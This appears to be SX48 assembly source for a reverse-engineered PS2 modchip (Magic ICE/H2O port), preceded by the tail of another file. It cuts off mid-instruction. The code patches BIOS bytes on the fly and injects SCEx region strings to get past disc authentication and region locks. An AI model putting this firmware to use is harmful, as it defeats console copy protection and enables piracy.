;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;; ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27 mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	112,598	sx48WIP/h2o-sx48-port-workingallbutps1imports-keepasnewbase.s	;****************************************************************************** ; final-48.sxh hash 5E421B821D54EA944B8696453CB5D762 ;**************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr 14A04391100FA5B49BFE833D6ACF4C14 ;;now implemented, but checksums below not updated from sx28. none tested. ;only f=tr tested on v3pal ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;fsr convert ; 15h-1f sx28 addresses + b due to sx48 20h start ; 30h+ addresses - 5 due to 15h-20h=b b-10h=5 due to or 10h for map :) ;;funny enough sx48 has page 1-f free, thought was only bank 2-f due to disassemble fsr starts was 20. the old implement would have worked with or. leave done now. ;;todo fix 75k import ps1drv. everything else works but import ps1 games, prehaps some extra timing due to more pages ??? ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media JAP_V8 = VAR_SWITCH.3 DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector ;; look at if use extra pages reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION ; nop ;; extra sx28 mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ; nop ;; extra sx28 mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#$32 mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;********************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3b;3a ;; one bit inc in h2o original 3a sx48. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG page $0800 jmp PS1_CONSOLE_PAL_YFIX page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 ;; here issue ??? mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0a00 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 snb V14_FLAG page $0a00 jmp PS2LOGO_PATCHLOAD_22_JMP1 ;; check mov w,#$b mov VAR_DC1,w mov w,#$59 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 likely put on another page isolated CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$37;27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$7c;f4 mov VAR_DC3,w mov w,#$a9;9e mov 